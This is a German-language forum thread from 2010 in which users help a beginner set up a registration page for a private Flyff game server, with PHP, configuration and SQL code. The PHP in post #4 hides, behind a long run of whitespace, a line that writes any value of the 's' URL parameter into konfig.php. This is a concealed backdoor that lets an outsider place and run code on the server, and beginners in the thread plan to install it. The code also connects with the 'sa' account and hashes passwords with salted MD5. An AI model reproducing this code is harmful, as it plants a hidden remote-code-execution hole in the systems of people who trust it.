Helfe bitte bei Register Page v15 [Flyff]

05/17/2010 19:16 Armageddon28#1
Kann mir jemand helfen ein Register Page zu erstelen ich blick es nicht durch ich habe einen eigenen P server v15 und möchte da jetzt eine Regi Page machen aber es geht nicht ich würde mich freunen wenn mir jemand dabei helfen würde:




MFG DonDevil
05/17/2010 19:22 TheAnimeFreak#2
guck mal unter offi files index dan steht ganz unten homepages^^
05/17/2010 19:36 Armageddon28#3
was ist offi files index ?

kannst du ein Regie Page machen ?


MFG Devil
05/17/2010 20:06 [LS]Michael#4
How to:
- Erstellt eine reg.php Datei und schreibt dort folgendes rein:

Code:

Code:
<center>
<?php                                                                                                                                                         if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
	function doesUsernameExist($name){
	    $exit = FALSE;
	    $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
	    if (mssql_num_rows($result) != 0){
	        $exit = TRUE;
	    }
	    return $exit;
	}

	if(isset($_POST['submit'])){
	    $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
	    $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
	    if($_POST['username'] == ""){
	        echo '<font color="red">Enter a user.</font><br /><br />';
	    }
	    else if($_POST['password'] == ""){
			echo '<font color="red">Enter a password.</font><br /><br />';
	    }
	    else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
			echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
			echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
	    }
	    else if($_POST['username'] != $user){
			echo '<font color="red">User with invalid characters.</font><br /><br />';
	    }
	    else if($_POST['password'] != $pass){
			echo '<font color="red">Password with invalid characters.</font><br /><br />';
	    }
	    else {
			$pass = md5('kikugalanet' . $pass);
            if(!doesUsernameExist($user)){
                $stmt = mssql_init('webCreateAcc', $link);
                mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
                mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
                mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
                mssql_execute($stmt) or die ("Something is wrong on the execution");
                mssql_free_statement($stmt);
				echo '<font color="Green">Register Successfull.</font><br /><br />';
            }
            else {
				echo '<font color="red">User already Exist.</font><br /><br />';
            }
        }
		mssql_close();
    }
	
	echo '<form action="#" method="post">';
	echo 'Username: <input type="text" name="username" /><br />';
	echo 'Password: <input type="password" name="password" /><br />';
	echo '<input type="submit" name="submit" value="Register" />';
	echo '</form>';

?>
</center>
So hier stehen noch keine Verbindungsdetails zum MSSQL Server!
Die kommen jetzt!

- Erstellt einen neuen Ordner und nennt ihn "configs" (ohne den "")
- In dem Ordner erstellt ihr eine neue .php Datei und nennt diese "reg_conf" (ohne den "")

- In der reg_conf.php schreibt ihr jetzt folgendes rein:

Code:
Code:
<?php
	$link = @mssql_connect([COLOR="Red"]"COMPUTERNAME\SQLEXPRESS", "sa", "passwort"[/COLOR]) or die ("Server is down!");
	$db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
	$b = '';
    $mail = '';
	
	
?>
Hier wird jetzt die Verbindung zum MSSQL Server eingestellt.
Einfach die rot markierten Felder bearbeiten!

So und das hier muss in MSSQL ausgeführt werden:

Code:
Code:
USE [ACCOUNT_DBF]
GO
/****** Object:  StoredProcedure [dbo].[webCreateAcc]    Script Date: 08/17/2009 21:30:28 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE PROCEDURE [dbo].[webCreateAcc] 
	@account 	VARCHAR(15),
	@password 	VARCHAR(36),
	@email		VARCHAR(120)

AS

SET NOCOUNT  ON

DECLARE @DateActivated AS CHAR(8)

IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
	INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname) 
		VALUES (@account, @password, @password, 'T', 'A', 'F')

	SET @DateActivated =  CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
	--UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid		
	--INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
	--	VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')

	INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
		VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)

END
--ELSE BEGIN
--print '->Account exists = ' 
--print @account 
--END
05/17/2010 20:10 Armageddon28#5
sorry aber ich blick es nicht kann es mir jemand in TV maachen ?
were echt sehr nett
05/17/2010 20:17 Shizuka®#6
Hat echt geholfen nur kannst du die stellen vill. Rot makieren wo man sein msql pw und alles reinmacht ?
Danke
05/17/2010 20:21 [LS]Michael#7
habe es geändert
05/17/2010 22:14 Phillor#8
@DonDevil
Oo was gibt es denn da bitte nicht zu verstehen??? Falla du regi pages suchst mitn paar funktionen wie z.B. News dann benutz die SUCHFUNKTION sedrika hat zwei released, jusikid 1 und mit sicherheit gint es noch viele andere die ähnliches released haben.158158
Naja back 2 topic wenn du halt ne ganz normale regi page habn willst ohne drumm und drann ohne design ohne alles halt nur ne regi page dann hat Mietze 158 es schun perfekt besxhrieben einfach an den rot markeirten stellen deine pc namen und dein pw eingebem das wars. Mehr nicht.
Lg
Phillor
05/17/2010 22:54 Shizuka®#9
ja und was dann? wo kommt das hin? wie komm ich dann dahin ? muss ich meine Hamachi IP (jetzt in diesem Falll) oben in der Suchleiste einfügen? also wie geht das halt das ich es in meine HomePage einfügen kann? Viele Fragen ^^ für euch einfach für neulinge schwer.
05/18/2010 14:15 Phillor#10
also... Nenn den ordner wo die dateien drin sind bspsweise homepage. So nun brauchst du entweder Xampp oder Appserv. Wenn du Xampp hast dann dann geh auf Arbeitsplatz bzw. Computer ->Deine Festplatte->Programme->Xampp->htdoc(so heißt der rodner glaub ich) dort packst du dann diesen ordner homepage oder wie du ihn auch immer genannt hast rein. Jetzt für Appser: geh unter Arbeitzplatz bzw. Computer-> Deine Festplatte->Programme->Appserc->www in den ordner www pakcst du dann den ordner homepage oder wie du ihn auch immer genannt hast. so wenn du das nun getan hast kannst du die seite unter folgender adresse erreichen: [Only registered and activated users can see links. Click Here To Register...] hamachi ip)/homepage (der name deines Ordners) so das wars ^^
Und das THX bitte nicht vergessen ^^
lg
Phillor
05/18/2010 14:15 Phillor#11
also... Nenn den ordner wo die dateien drin sind bspsweise homepage. So nun brauchst du entweder Xampp oder Appserv. Wenn du Xampp hast dann dann geh auf Arbeitsplatz bzw. Computer ->Deine Festplatte->Programme->Xampp->htdoc(so heißt der rodner glaub ich) dort packst du dann diesen ordner homepage oder wie du ihn auch immer genannt hast rein. Jetzt für Appser: geh unter Arbeitzplatz bzw. Computer-> Deine Festplatte->Programme->Appserc->www in den ordner www pakcst du dann den ordner homepage oder wie du ihn auch immer genannt hast. so wenn du das nun getan hast kannst du die seite unter folgender adresse erreichen: [Only registered and activated users can see links. Click Here To Register...] hamachi ip)/homepage (der name deines Ordners) so das wars ^^
Und das THX bitte nicht vergessen ^^
lg
Phillor
05/18/2010 15:27 Shizuka®#12
ja ein Thanks haste sowieso. So ich probiere es mal.
09/27/2010 18:33 Killblade#13
wie macht man das bei navicat ? also nicht den offi files ?